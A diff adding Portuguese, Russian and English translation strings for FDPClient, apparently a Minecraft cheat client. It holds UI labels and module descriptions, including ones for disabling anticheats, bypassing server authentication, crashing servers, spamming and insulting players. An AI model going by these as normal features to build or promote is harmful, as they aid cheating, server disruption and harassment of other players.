automaticamente os jogadores ao usar um arco + +module.Breadcrumbs.name=Breadcrumbs +module.Breadcrumbs.description=Deixa um rastro atrás de você + +module.CameraClip.name=CameraClip +module.CameraClip.description=Permite que você veja através das paredes em visão de terceira pessoa + +module.CapeManager.name=CapeManager +module.CapeManager.description=Gerenciar suas capas + +module.Chams.name=Chams +module.Chams.description=Permite que você veja os alvos através dos blocos + +module.ChatBypass.name=ChatBypass +module.ChatBypass.description=Ignorar limite de bate-papo + +module.ChatTranslator.name=ChatTranslator +module.ChatTranslator.description=Traduzir palavras no chat + +module.ChestAura.name=ChestAura +module.ChestAura.description=Abre baús automaticamente ao seu redor + +module.ChestStealer.name=ChestStealer +module.ChestStealer.description=Rouba automaticamente todos os itens de um baú + +module.ClickGUI.name=ClickGUI +module.ClickGUI.description=Abre o ClickGUI + +module.Clip.name=Clip +module.Clip.description=Permite que você recorte blocos + +module.Criticals.name=Criticals +module.Criticals.description=Permite que você dê danos criticos + +module.DamageParticle.name=DamageParticle +module.DamageParticle.description=Permite que você veja os danos dos alvos + +module.Disabler.name=Disabler +module.Disabler.description=Desativar anticheats + +module.ESP.name=ESP +module.ESP.description=Permite que você veja alvos através das paredes + +module.Eagle.name=Eagle +module.Eagle.description=Torna você águia (também conhecido como FastBridge) + +module.Glint.name=Glint +module.Glint.description=Alterar a cor do efeito Enchant + +module.FakeDead.name=FakeDead + +module.FastBreak.name=FastBreak +module.FastBreak.description=Permite quebrar blocos mais rápido + +module.FastPlace.name=FastPlace +module.FastPlace.description=Permite que você coloque blocos mais rápido + +module.FastUse.name=FastUse +module.FastUse.description=Permite que você use itens mais rápido + +module.Fly.name=Fly +module.Fly.description=Permite que você voe + +module.FreeCam.name=FreeCam +module.FreeCam.description=Permite que você saia de seu corpo + +module.Freeze.name=Freeze +module.Freeze.description=Permite que você fique preso no ar + +module.Fucker.name=Fucker +module.Fucker.description=Destrói os blocos selecionados ao seu redor + +module.Gapple.name=Gapple +module.Gapple.description=Comer Maças + +module.GhostHand.name=GhostHand +module.GhostHand.description=Permite que você retire os blocos selecionados através das paredes + +module.HUD.name=HUD +module.HUD.description=Alterna a visibilidade do HUD + +module.HackerDetector.name=HackerDetector +module.HackerDetector.description=Detectar Hackers SIGMA + +module.HealthWarn.name=HealthWarn +module.HealthWarn.description=Mostrar aviso quando você estiver com saúde baixa + +module.HighJump.name=HighJump +module.HighJump.description=Permite que você pule mais alto + +module.HitBox.name=HitBox +module.HitBox.description=Torna hitboxes de alvos maiores + +module.HudDesigner.name=HudDesigner +module.HudDesigner.description=Permite Editar o HUD + +module.HurtCam.name=HurtCam +module.HurtCam.description=Altera o efeito da câmera danificada + +module.InfiniteAura.name=InfiniteAura +module.InfiniteAura.description=Atingir inimigos de longe + +module.InventoryCleaner.name=InvCleaner +module.InventoryCleaner.description=Automaticamente joga fora itens inúteis e classifica seu inventário + +module.InventoryMove.name=InvMove +module.InventoryMove.description=Permite que você ande enquanto um inventário é aberto + +module.ItemESP.name=ItemESP +module.ItemESP.description=Permite que você veja itens através das paredes + +module.KeyBindManager.name=KeyBindManager +module.KeyBindManager.description=Abre o KeyBindManager + +module.Kick.name=Kick +module.Kick.description=Permite que você se expulse de um servidor + +module.KillAura.name=KillAura +module.KillAura.description=Ataca automaticamente os alvos ao seu redor + +module.LegitSpoof.name=LegitSpoof +module.LegitSpoof.description=Hack? Não sou legít + +module.LightningDetect.name=LightningDetect +module.LightningDetect.description=Verificar geração de relâmpagos em + +module.Jesus.name=Jesus +module.Jesus.description=Permite que você ande sobre a água + +module.LongJump.name=LongJump +module.LongJump.description=Permite que você vá mais longe + +module.MessageSpam.name=Spam +module.MessageSpam.description=Mensagens de spam (apenas redesenhado) + +module.MidClick.name=MidClick +module.MidClick.description=Permite que você adicione um jogador como amigo clicando com o botão direito nele. + +module.NameProtect.name=NameProtect +module.NameProtect.description=Altera os nomes dos jogadores do lado do cliente + +module.NameTags.name=NameTags +module.NameTags.description=Permite lê o nome dos oponentes + +module.NoBob.name=NoBob +module.NoBob.description=Desativa o efeito de oscilação da vista + +module.NoFOV.name=NoFov +module.NoFOV.description=Desabilita mudanças de FOV causadas por efeito de velocidade, etc + +module.NoFall.name=NoFall +module.NoFall.description=Impede que você sofra danos de queda + +module.NoJumpDelay.name=NoJumpDelay +module.NoJumpDelay.description=Remove o atraso entre os saltos + +module.NoRotateSet.name=NoRotateSet +module.NoRotateSet.description=Evita que o servidor gire sua cabeça + +module.NoSlow.name=NoSlow +module.NoSlow.description=Cancela os efeitos de lentidão causados por soulsand e usando itens + +module.NoSlowBreak.name=NoSlowBreak +module.NoSlowBreak.description=Ajusta automaticamente a velocidade de interrupção ao usar módulos que a influenciam + +module.NoWeb.name=NoWeb +module.NoWeb.description=Evita que você fique lento nas redes + +module.Parkour.name=Parkour +module.Parkour.description=Salta automaticamente ao alcançar a borda de um bloco + +module.Phase.name=Phase +module.Phase.description=Permite que você caminhe por blocos + +module.PingSpoof.name=PingSpoof +module.PingSpoof.description=Falsifica seu ping para um determinado valor + +module.Plugins.name=Plugins +module.Plugins.description=Permite que você veja quais plugins o servidor está usando + +module.PointerESP.name=PointerESP +module.PointerESP.description=Mostrar os indicadores em torno de sua travessia + +module.PrevFallPos.name=PrevFallPos +module.PrevFallPos.description=Visualize sua posição de queda + +module.Projectiles.name=Projectiles +module.Projectiles.description=Permite que você veja onde as setas irão parar + +module.Reach.name=Reach +module.Reach.description=Aumente seu alcance + +module.Regen.name=Regen +module.Regen.description=Regenera sua saúde muito mais rápido + +module.Rotations.name=Rotations +module.Rotations.description=Configurações de rotação + +module.SafeWalk.name=SafeWalk +module.SafeWalk.description=Evita que você caia como se estivesse esgueirando + +module.Scaffold.name=Scaffold +module.Scaffold.description=Coloca blocos automaticamente sob seus pés + +module.ServerCrasher.name=ServerCrasher +module.ServerCrasher.description=Permite que você bloqueie determinados servidores + +module.Spammer.name=Spammer +module.Spammer.description=Spams no chat com uma determinada mensagem + +module.Speed.name=Speed +module.Speed.description=Permite que você se mova mais rápido + +module.Sprint.name=Sprint +module.Sprint.description=Corre automaticamente o tempo todo + +module.Step.name=Step +module.Step.description=Permite que você intensifique os blocos + +module.StorageESP.name=StorageESP +module.StorageESP.description=Permite que você veja baús, dispensadores, etc. através das paredes + +module.Strafe.name=Strafe +module.Strafe.description=Permite que você se mova livremente no ar + +module.SuperKnockback.name=SuperKnockback +module.SuperKnockback.description=Aumenta o knockback negociado para outras entidades + +module.Target.name=Target +module.Target.description=Configurações de alvo destino + +module.TargetStrafe.name=TargetStrafe +module.TargetStrafe.description=Strafe em torno de seu alvo. + +module.Teams.name=Teams +module.Teams.description=Evita que modules ataque companheiros de equipe + +module.Teleport.name=Teleport +module.Teleport.description=Permite que você se teletransporte + +module.Timer.name=Timer +module.Timer.description=Altera a velocidade de todo o jogo + +module.Modules.name=Modules +module.Modules.description=Alterar configurações do módulo global + +module.Tracers.name=Tracers +module.Tracers.description=Desenha uma linha nos alvos ao seu redor + +module.TrueSight.name=TrueSight +module.TrueSight.description=Permite que você veja entidades invisíveis e barreiras + +module.Velocity.name=Velocity +module.Velocity.description=Permite que você modifique a quantidade de knockback realizada + +module.XRay.name=XRay +module.XRay.description=Permite que você veja os blocos selecionados através das paredes + +module.Crosshair.name=CrossHair +module.Crosshair.description=Permite customizar a mira + +module.Damage.name=Damage +module.Damage.description=Permite que você se machuque + +module.ChinaHat.name=ChinaHat +module.ChinaHat.description=Um lindo chapeu + +module.Skeletal.name=Skeletal +module.Skeletal.description=Veja esqueletos LOL + +module.Spider.name=Spider +module.Spider.description=Faz você escalar como uma aranha + +module.NoAchievements.name=NoAchievements +module.NoAchievements.description=Desativa alerta de conquistas + +module.HitEffect.name=HitEffect +module.HitEffect.description=Exibir um efeito quando você acertar um jogador + +module.SilentDisconnect.name=SilentDisconnect +module.SilentDisconnect.description=Não exibir GuiDisconnect quando você se desconectou do servidor + +module.Performance.name=Performance +module.Performance.description=Faça o jogo mais rápido diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/ru-RU/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/ru-RU/source.properties new file mode 100644 index 0000000..14231bf --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/ru-RU/source.properties @@ -0,0 +1,592 @@ +# Translated by walababa +ui.altmanager=АккМенеджер +ui.mods=Моды +ui.background=ЗаднийФон +ui.serverSpoof=СерверСпуфер +ui.antiForge=АнтиForge +ui.reconnect=Переподключиться +ui.changelog=СписокИзменений + +ui.back=Назад +ui.status=Статус +ui.on=Вкл +ui.off=Выкл + +ui.serverSpoof.address=Адрес Сервера + +ui.proxy.screen=Прокси Менеджер +ui.proxy.address=Адрес +ui.proxy.type=Тип Прокси + +ui.background.gtype=Тип +ui.background.gcurrent=Current +ui.background.ganimated=Анимация +ui.background.particles=Частицы +ui.background.change=Изменить фон +ui.background.reset=Восстановить фон + +ui.chest.stealing=Сбор Сундука +ui.chest.disable=Выключить %s + +ui.gameover.close=Скрыть Этот Экран + +ui.disconnect.randomAlt=Случайный Акк +ui.disconnect.randomOffline=Случайный Оффлайн + +ui.update.released=FDPClient %s is available\! +ui.update.dismiss=Отклонить +ui.update.download=Скачать + +ui.keybind.title=Менеджер настройки клавиш +ui.keybind.select=Выберите модуль для привязки клавиши +ui.keybind.addMacro=Нажмите ENTER, чтобы добавить макрос. +ui.keybind.add=+ Добавить +ui.keybind.key=Клавиша %s +ui.keybind.search=Поиск... + +ui.alt.idle=Пусто... +ui.alt.nameChanged=§cВаш никнейм теперь§8 %s §c. +ui.alt.error=Произошла ошибка\: %s +ui.alt.login=Логин +ui.alt.add=Добавить +ui.alt.remove=Удалить +ui.alt.import=Импорт +ui.alt.directLogin=Авторизация +ui.alt.msLogin=Microsoft Логин +ui.alt.copy=Копировать +ui.alt.alts=%d Аккаунтов +ui.alt.username=§7Пользователь\: §a %s +ui.alt.type=§7Тип\: §a %s +ui.alt.type.premium=Лицензия +ui.alt.type.cracked=Пиратский +ui.alt.removed=Аккаунт был удалён. +ui.alt.needSelect=Выберите аккаунт. +ui.alt.copied=Аккаунт скопирован с буфера обмена. +ui.alt.imported=Учетные записи успешно импортированы. +ui.alt.emptyList=Список пуст. +ui.alt.loggingIn=Вход... +ui.alt.clipBoardLogin=Вход с буфер обмена +ui.alt.fillBoth=Вы должны заполнить оба поля\! +ui.alt.readFailed=Буфер обмена не поддерживается\! +ui.alt.invalidClipData=Неверные данные буфера обмена. (Например\: E-Mail\:Password) +ui.alt.loginUsername=Имя пользователя / E-Mail +ui.alt.loginPassword=Пароль +ui.alt.alreadyAdded=Учетная запись уже добавлена. +ui.alt.notWorking=Учетная запись не работает. +ui.alt.checking=Проверяю... +ui.alt.randomAltField=Правило случайных аккаунтов + +ui.scaffold.blocks=Блоков > %d + +notify.module.title=Модуль +notify.module.enable=Включено %s +notify.module.disable=Отключено %s + +module.category.combat=Бой +module.category.player=Игрок +module.category.movement=Движение +module.category.visual=Визуализация +module.category.client=Клиент +module.category.world=Мир +module.category.other=Прочее +module.category.exploit=Эксплоиты + +module.Aimbot.name=Аимбот +module.Aimbot.description=Авто наводка прицела на противников + +module.AirLadder.name=ЛестицаВверх +module.AirLadder.description=Позволяет взбираться быстрее по лестницам/лианам + +module.Ambience.name=Атмосфера +module.Ambience.description=Позволяет изменить мировое окружение + +module.Animations.name=Анимации +module.Animations.description=Отображение меча при блокировании и инвентаре + +module.AntiAim.name=АнтиАим +module.AntiAim.description=АнтиАим, как в читах CS:GO + +module.AntiBlind.name=АнтиСлепота +module.AntiBlind.description=Отключает эффекты слепоты + +module.AntiBot.name=АнтиБот +module.AntiBot.description=Предотвращает атаку Киллауры на ботов АнтиЧита + +module.AntiDesync.name=АнтиDesync +module.AntiDesync.description=Синхронизирует все движения + +module.AntiFireBall.name=АнтиОгненный шар +module.AntiFireBall.description=Отбивание огненных шаров, чтобы вы не получали урон + +module.AntiStuck.name=Нелагать +module.AntiStuck.description=Автоматически замораживает при флагах + +module.AntiStaff.name=АнтиАдмин +module.AntiStaff.description=Обнаружение админов во время игры + +module.AntiVanish.name=АнтиНеведимка +module.AntiVanish.description=Показывает, кто пропал + +module.AntiVoid.name=АнтиБездна +module.AntiVoid.description=Потянет вас вверх, когда вы попадете в бездну + +module.AuthBypass.name=ОбходАвторизации +module.AuthBypass.description=Обходит проверку при регистрации на серверах + +module.KillInsults.name=Оскорбление +module.KillInsults.description=Автоматически оскорбляет игрока после убийства + +module.AutoAdvertise.name=АвтоРеклама +module.AutoAdvertise.description=Держите это, нам нужна ваша поддержка + +module.AutoArmor.name=АвтоБроня +module.AutoArmor.description=Автоматически экипирует лучшую броню в вашем инвентаре + +module.AutoBow.name=АвтоЛук +module.AutoBow.description=Автоматически отпускает лук, когда он полностью заряжен + +module.AutoClicker.name=АвтоКликер +module.AutoClicker.description=Постоянно кликает при удерживании кнопки мыши + +module.AutoDisable.name=АвтоВыключение +module.AutoDisable.description=Автоматически отключает модули + +module.AutoIgnore.name=АвтоИгнор +module.AutoIgnore.description=Авто игнорирует спамеров (только redesky) + +module.AutoLogin.name=АвтоВход +module.AutoLogin.description=Автоматически регистрируется на пиратских серверах + +module.AutoPlay.name=АвтоИгра +module.AutoPlay.description=Автоматически заходит в новую игру когда она закончится + +module.AutoPot.name=АвтоЗелья +module.AutoPot.description=Автоматически бросает зелья + +module.AutoReport.name=АвтоЖалоба +module.AutoReport.description=Автоматически репортит игроков + +module.AutoSoup.name=АвтоСуп +module.AutoSoup.description=Автоматически ест суп, когда ваше здоровье находится на низком уровне + +module.AutoTool.name=АвтоИнстр +module.AutoTool.description=Автоматически выбирает лучший инструмент в вашем инвентаре для добычи блока + +module.AutoWeapon.name=АвтоОружие +module.AutoWeapon.description=Автоматически выбирает лучшее оружие в панели быстрого доступа + +module.BanChecker.name=БанЧекер + +module.BetterFPS.name=БольшеFPS +module.BetterFPS.description=Сделает математику вычисления быстрее + +module.Blink.name=Мигание +module.Blink.description=Замораживает все пакеты перемещений + +module.BlockESP.name=БлокВХ +module.BlockESP.description=Позволяет видеть выбранный блок через стены + +module.BlockOverlay.name=БлокНаложение +module.BlockOverlay.description=Позволяет изменить дизайн наложения блока + +module.BoatJump.name=ЛодочныйПрыжок +module.BoatJump.description=Позволяет вам прыгать выше или длинее на лодке + +module.BowAimbot.name=ЛукАимбот +module.BowAimbot.description=Автоматически нацелевается на игроков при использовании лука + +module.Breadcrumbs.name=ХлебныеКрошки +module.Breadcrumbs.description=Оставляет позади эффект следа + +module.CameraClip.name=КамераКлип +module.CameraClip.description=Позволяет видеть сквозь стены в третьем лице + +module.CapeManager.name=ПлащМенеджер +module.CapeManager.description=Управление плащями + +module.Chams.name=Обводка +module.Chams.description=Позволяет видеть игроков через блоки + +module.ChatBypass.name=ОбходЧата +module.ChatBypass.description=Обходит лимит чата + +module.ChatTranslator.name=ЧатПереводчик +module.ChatTranslator.description=Перевод слов в чате + +module.ChestAura.name=СундукАура +module.ChestAura.description=Автоматически открывает сундуки вокруг вас + +module.Stealer.name=СундукСборщик +module.Stealer.description=Автоматически собирает все вещи из сундука + +module.ClickGUI.name=МенюЧита +module.ClickGUI.description=Настройка меню чита + +module.Clip.name=Клип +module.Clip.description=Позволяет проходить через стены + +module.Criticals.name=Криты +module.Criticals.description=Автоматически совершает критические удары + +module.DamageParticle.name=ЧастицыУрона +module.DamageParticle.description=Позволяет видеть нанесённый урон + +module.DiscordRPC.name=DiscordRPC +module.DiscordRPC.description=Показывает вашу активность в Discord + +module.Disabler.name=Выключатель +module.Disabler.description=Отключает античит + +module.ESP.name=ВХ +module.ESP.description=Позволяет видеть игроков сквозь стены + +module.Eagle.name=НиндзяБриджинг +module.Eagle.description=Становиться легче строиться ниндзябриджингом + +module.Glint.name=Блеск +module.Glint.description=Настройка цвет чар + +module.FakeDead.name=ФейкСмерть + +module.FastBreak.name=БыстраяКопка +module.FastBreak.description=Позволяет вам ломать блоки быстрее + +module.FastPlace.name=БыстраяСтройка +module.FastPlace.description=Позволяет вам ставить блоки быстрее + +module.FastUse.name=БыстроеКушанье +module.FastUse.description=Позволяет использовать предметы/еду быстрее + +module.Fly.name=Полёт +module.Fly.description=Позволяет лететь в режиме выживания + +module.FreeCam.name=СвободнаяКамера +module.FreeCam.description=Позволяет вам иследовать мир камерой + +module.Freeze.name=Заморозка +module.Freeze.description=Позволяет вам оставаться застрявшим в середине воздуха + +module.Fucker.name=Ломатель +module.Fucker.description=Уничтожает выбранные блоки вокруг вас + +module.Gapple.name=АвтоЯблоко +module.Gapple.description=Автоматически съедает яблоки + +module.GhostHand.name=ПризрачнаяРука +module.GhostHand.description=Позволяет взаимодействовать с выбраннами блоками через стены + +module.HUD.name=HUD +module.HUD.description=Включает видимость HUD + +module.HackerDetector.name=ДетекторЧитеров +module.HackerDetector.description=Обнаруживает SIGMA читеров + +module.HealthWarn.name=ПредупреждениеЗдоровья +module.HealthWarn.description=Показывает предупреждение при низком состоянии здоровья + +module.HighJump.name=ВысокийПрыжок +module.HighJump.description=Позволяет вам прыгать выше + +module.HitBox.name=ХитБоксы +module.HitBox.description=Делает хитбоксы игроков больше + +module.HudDesigner.name=HUDдизайнер +module.HudDesigner.description=Настройка HUD + +module.HurtCam.name=ХуртКам +module.HurtCam.description=Изменяет эффект повреждения камера + +module.InfiniteAura.name=ДалёкаяАура +module.InfiniteAura.description=Поражает противников на далеком расстоянии + +module.InvManager.name=ОчисткаИнвентаря +module.InvManager.description=Автоматически выбрасывает бесполезные предметы и сортирует ваш инвентарь + +module.InventoryMove.name=ПеремещениеИнвентаря +module.InventoryMove.description=Позволяет ходить при открытом инвентаре + +module.ItemESP.name=ВещиВХ +module.ItemESP.description=Позволяет видеть предметы сквозь стены + +module.KeyBindManager.name=МенеджерКлавиш +module.KeyBindManager.description=Открывает МенеджерКлавиш + +module.Kick.name=Кик +module.Kick.description=Позволяет выгнать себя с сервера + +module.KillAura.name=Килка +module.KillAura.description=Автоматически атакует цели вокруг вас + +module.LegitSpoof.name=ЛегитСпуфер +module.LegitSpoof.description=Меняет некоторые вещи, так что кажется, что вы без читов + +module.LightningDetect.name=ОбнаружениеМолнии +module.LightningDetect.description=Показывает, где появилась молния + +module.Jesus.name=Jesus +module.Jesus.description=Позволяет вам ходить по воде + +module.LongJump.name=ДлинныйПрыжок +module.LongJump.description=Позволяет прыгать дальше + +module.MessageSpam.name=СпамСообщениями +module.MessageSpam.description=Спамит сообщениями (только redesky) + +module.MurderDetector.name=ДетекторМаньяка +module.MurderDetector.description=Детектор убийцы + +module.MidClick.name=МидКлик +module.MidClick.description=Позволяет добавить игрока в друзья нажатием правой кнопкой по нему + +module.KeyPearl.name=КлавишаПёрла +module.KeyPearl.description=Позволяет вам выбросить жемчужину эндера с панели быстрого доступа нажатием клавиши. (Используйте .bind для этого модуля) + +module.NameProtect.name=ЗащитаИмени +module.NameProtect.description=Изменение имен игроков (Видете только ВЫ) + +module.NameTags.name=Имя-Теги +module.NameTags.description=Изменяет масштаб тегов имён, чтобы вы всегда могли их читать + +module.NoBob.name=НоБоб +module.NoBob.description=Отключает эффект тряски + +module.NoFOV.name=НетFOV +module.NoFOV.description=Отключает изменения поля зрения, вызванные эффектом скорости и т.д. + +module.NoFall.name=НетПадения +module.NoFall.description=Предотвращает получение урона от падения + +module.NoJumpDelay.name=Прыжки +module.NoJumpDelay.description=Убирает задержку между прыжками + +module.NoRotateSet.name=НетВращения +module.NoRotateSet.description=Не позволяет серверу вращать голову + +module.NoSlow.name=НетЗамедления +module.NoSlow.description=Игнорирует эффект медленности, вызванный песком душ и использованием предметов + +module.NoSlowBreak.name=НетМедленнойКопки +module.NoSlowBreak.description=Автоматически регулирует скорость ломания при использовании влияющих на нее модулей + +module.NoWeb.name=НетПаутине +module.NoWeb.description=Предотвращает замедление ходьбы в паутине + +module.Parkour.name=Паркур +module.Parkour.description=Автоматически прыгает при достижении края блока + +module.Phase.name=Фаза +module.Phase.description=Позволяет вам пройти сквозь блоки + +module.PingSpoof.name=ПодделованияПинга +module.PingSpoof.description=Подменяет ваш пинг на заданное значение + +module.Plugins.name=Плагины +module.Plugins.description=Позволяет узнать, какие плагины использует сервер + +module.PointerESP.name=УказательВХ +module.PointerESP.description=Стрелки показывают на противников + +module.PrevFallPos.name=Позиция +module.PrevFallPos.description=Предварительный просмотр вашего падения + +module.Projectiles.name=Снаряды +module.Projectiles.description=Позволяет увидеть, где приземлится пёрл,стрелы, и т.д + +module.Reach.name=Достигать +module.Reach.description=Увеличивает дальность взаимодействия игрока + +module.Regen.name=Регенерация +module.Regen.description=Восстанавливает здоровье намного быстрее + +module.Rotations.name=Вращения +module.Rotations.description=Настройки вращения + +module.SafeWalk.name=БезопаснаяХодьба +module.SafeWalk.description=Предотвращает падение как будто вы подкрадывались + +module.Scaffold.name=СтроительныеЛеса +module.Scaffold.description=Автоматически размещает блоки под ногами + +module.ServerCrasher.name=КрашСервера +module.ServerCrasher.description=Позволяет сделать сбой сервера + +module.Spammer.name=Спамер +module.Spammer.description=Спам в чате с заданным сообщением + +module.Speed.name=Скорость +module.Speed.description=Позволяет перемещаться быстрее + +module.Sprint.name=Спринт +module.Sprint.description=Автоматически спринты все время + +module.Step.name=Шаг +module.Step.description=Позволяет вам подыматься на блок + +module.StorageESP.name=СундукВХ +module.StorageESP.description=Позволяет видеть сундуки, раздатчики и т.д. через стены + +module.Strafe.name=Стрейфы +module.Strafe.description=Позволяет свободно перемещаться в воздухе + +module.SuperKnockback.name=СуперОтталкивание +module.SuperKnockback.description=Увеличивает откат обратной реакции на другие сущности + +module.Target.name=Цель +module.Target.description=Настройка цели + +module.TargetStrafe.name=ЦелевойСтрейф +module.TargetStrafe.description=Кружитесь вокруг игрока + +module.Teams.name=Тимейты +module.Teams.description=Запрещает атаковать Киллауре по товарищам команде + +module.Teleport.name=Телепорт +module.Teleport.description=Позволяет телепортироваться + +module.Timer.name=Время +module.Timer.description=Изменяет скорость всей игры + +module.SoundModule.name=ЗвуковойМодуль +module.SoundModule.description=Изменяет звуки при настройке модулей + +module.Tracers.name=Трассировки +module.Tracers.description=Рисует линию к игроку вокруг вас + +module.TrueSight.name=ИстинноеЗрение +module.TrueSight.description=Позволяет видеть невидимые сущности и барьеры + +module.Velocity.name=Отталкивание +module.Velocity.description=Позволяет изменять дальность отбрасывания + +module.XRay.name=XRay +module.XRay.description=Позволяет видеть выбранные блоки сквозь стены + +module.Crosshair.name=Прицел +module.Crosshair.description=Позволяет изменить прицел + +module.Damage.name=Урон +module.Damage.description=Позволяет нанести урон себе + +module.ChinaHat.name=КитайскаяШляпа +module.ChinaHat.description=Красивая шляпа + +module.Skeletal.name=Скелет +module.Skeletal.description=ВХ как скелеты + +module.Spider.name=Паук +module.Spider.description=ВЫ сможете подниматься по стенам как паук + +module.NoAchievements.name=НетДостижений +module.NoAchievements.description=Отключить оповещение, когда вы зарабатываете достижение + + +module.HitEffect.name=ЭффектУдара +module.HitEffect.description=Показывает эффекты при ударе игрока + +module.SilentDisconnect.name=БесшумныйВыход +module.SilentDisconnect.description=Не отображать меню выхода при отключении от сервера + +module.Performance.name=Производительность +module.Performance.description=Сделайте игру быстрее + +module.Glide.name=Парение +module.Glide.description=Медленное падение + +module.ServerSwitcher.name=СменаСервера +module.ServerSwitcher.description=Переключение серверов не заходя в Главное меню + +module.Wings.name=Крылья +module.Wings.description=Крылья + +module.AntiExploit.name=АнтиЭксплоит +module.AntiExploit.description=Не позволяет серверам делать коварные дела + +module.CustomDisabler.name=КастомВыключатель +module.CustomDisabler.description=Настройка выключателя анти-чита + +module.NoInvClose.name=НетЗакрытИнв +module.NoInvClose.description=Не позволяет серверу закрыть ваш инвентарь + +module.ComboOneHit.name=КомбоУдар +module.ComboOneHit.description=Автоматически наносит удары в течение одного клика. Работает только в том случае, если задержка атаки отсутствует + +module.FastBow.name=БыстрыйЛук +module.FastBow.description=Превращает ваш лук в пулемет + +module.AutoFriend.name=АвтоДруг +module.AutoFriend.description=Автоматическое добавление админов с любого сервера + +module.Spoofer.name=Спуфер +module.Spoofer.description=Изменяет ваш клиент на разрешённые + +module.FDPScriptManager.name=FDPСкриптМенеджер +module.FDPScriptManager.description=Загруженные скрипты + +module.NoRender.name=НеВидеть +module.NoRender.description=Увеличет FPS, уменьшив или остановив отображение видимых объектов + +module.Particles.name=Частицы +module.Particles.description=Появление частиц при ударах по противнику + +module.FollowTargetHud.name=ВидетьHudЦели +module.FollowTargetHud.description=Вы увидите основную информацию о противнике + +module.ItemMagnet.name=МагнитВещей +module.ItemMagnet.description=Позволяет вам подбирать предметы далеко, телепортируясь + +module.KillESP.name=УмершихESP +module.KillESP.description=УмершихESP + +module.ItemPhysics.name=ФизикаВещей +module.ItemPhysics.description=Ньютон перевернулся в гробу + +module.Fisher.name=Рыбалка +module.Fisher.description=Автоматическая рыбалка + +module.SpeedMine.name=БыстраяКопка +module.SpeedMine.description=Более быстрее добыча блоков + +module.PackSpoofer.name=ПакСпуфер +module.PackSpoofer.description=Не позволяет серверам загружать их ресурс пак + +module.Nuker.name=Нукер +module.Nuker.description=Разрушает все блоки вокруг вас + +module.GlowESP.name=ПодсветкаВХ +module.GlowESP.description=Подсветка противников + +module.SuperheroFX.name=СупергеройFX +module.SuperheroFX.description=Создает комические летаующие частицы + +module.ESP2D.name=ВХ2D +module.ESP2D.description=ВХ2D + +module.Radar.name=Радар +module.Radar.description=Позволяет видеть противников как в морском бою + +module.BowJump.name=ЛуковыйПрыжок +module.BowJump.description=Позволяет вам прыгать дальше с автоматической стрельбой из лука + +module.MultiActions.name=МультиДействие +module.MultiActions.description=Позволяет использовать предметы при разрушении блоков + +module.ResetVL.name=ВосстонавлениеVL +module.ResetVL.description=Снимает с вас + +module.Heal.name=Исцеление +module.Heal.description=Автоматически ест яблоки + +module.HudShadows.name=HUDТени +module.HudShadows.description=Позволяет изменить настройку тени/свечения + +module.FakeFPS.name=НеНастоящийFPS +module.FakeFPS.description=Ютуберы теперь могут снимать со скоростью 10000 кадров в секунду ! + +module.PacketDebugger.name=ОтладчикПакетов +module.PacketDebugger.description=Отображает выбранные пакеты и их поля на панели чата + +module.Hotbar.name=Hotbar +module.Hotbar.description=Стильный Hotbar + +module.JumpCircles.name=ПрыжковыеКруги +module.JumpCircles.description=Анимация кругов при прыжках diff --git a/src/main/resources/assets/minecraft/fdpclient/translations/source.properties b/src/main/resources/assets/minecraft/fdpclient/translations/source.properties new file mode 100644 index 0000000..08a66ef --- /dev/null +++ b/src/main/resources/assets/minecraft/fdpclient/translations/source.properties @@ -0,0 +1,609 @@ +# Translated by Liuli +ui.altmanager=AltManager +ui.mods=Mods +ui.background=Background +ui.serverSpoof=ServerSpoof +ui.antiForge=AntiForge +ui.reconnect=Reconnect +ui.changelog=ChangeLog + +ui.back=Back +ui.status=Status +ui.on=On +ui.off=Off + +ui.serverSpoof.address=Server Address + +ui.proxy.screen=Proxy Manager +ui.proxy.address=Address +ui.proxy.type=Proxy Type + +ui.background.gtype=Type +ui.background.gcurrent=Current +ui.background.ganimated=Animated +ui.background.particles=Particles +ui.background.change=Change wallpaper +ui.background.reset=Reset wallpaper + +ui.chest.stealing=Stealing Chest +ui.chest.disable=Disable %s + +ui.gameover.close=Hide This Screen + +ui.disconnect.randomAlt=Random Alt +ui.disconnect.randomOffline=Random Offline + +ui.update.released=FDPClient %s is available! +ui.update.dismiss=Dismiss +ui.update.download=Download + +ui.keybind.title=KeyBind Manager +ui.keybind.select=Select a module to bind +ui.keybind.addMacro=Press ENTER to add macro. +ui.keybind.add=+ Add +ui.keybind.key=%s Key +ui.keybind.search=Search... + +ui.alt.idle=Idle... +ui.alt.nameChanged=§cYour name is now §8 %s §c. +ui.alt.error=Occurred an error: %s +ui.alt.login=Login +ui.alt.add=Add +ui.alt.remove=Remove +ui.alt.import=Import +ui.alt.directLogin=Direct Login +ui.alt.msLogin=Microsoft Login +ui.alt.copy=Copy +ui.alt.alts=%d Alts +ui.alt.username=§7User: §a %s +ui.alt.type=§7Type: §a %s +ui.alt.type.premium=Premium +ui.alt.type.cracked=Cracked +ui.alt.removed=The account has been removed. +ui.alt.needSelect=Select an account. +ui.alt.copied=Copied account into your clipboard. +ui.alt.imported=The accounts were imported successfully. +ui.alt.emptyList=The list is empty. +ui.alt.loggingIn=Logging in... +ui.alt.clipBoardLogin=Clipboard Login +ui.alt.fillBoth=You have to fill in both fields! +ui.alt.readFailed=Clipboard flavor unsupported! +ui.alt.invalidClipData=Invalid clipboard data. (Use: E-Mail:Password) +ui.alt.loginUsername=Username / E-Mail +ui.alt.loginPassword=Password +ui.alt.alreadyAdded=The account has already been added. +ui.alt.notWorking=The account doesn't work. +ui.alt.checking=Checking... +ui.alt.randomAltField=Rule of random alts + +ui.scaffold.blocks=Blocks > %d + +notify.module.title=Module +notify.module.enable=Enabled %s +notify.module.disable=Disabled %s + +module.category.combat=Combat +module.category.player=Player +module.category.movement=Movement +module.category.visual=Visual +module.category.client=Client +module.category.world=World +module.category.other=Other +module.category.exploit=Exploit + +module.Aimbot.name=Aimbot +module.Aimbot.description=Automatically faces selected entities around you + +module.AirLadder.name=AirLadder +module.AirLadder.description=Allows you to climb up ladders/vines without touching them. + +module.Ambience.name=Ambience +module.Ambience.description=Change the world environment + +module.Animations.name=Animations +module.Animations.description=Render sword while blocking and inventory animation + +module.AntiAim.name=AntiAim +module.AntiAim.description=AntiAim like CSGO cheats + +module.AntiBlind.name=AntiBlind +module.AntiBlind.description=Cancels blindness effects + +module.AntiBot.name=AntiBot +module.AntiBot.description=Prevents KillAura from attacking AntiCheat bots + +module.AntiDesync.name=AntiDesync +module.AntiDesync.description=Sync every moves + 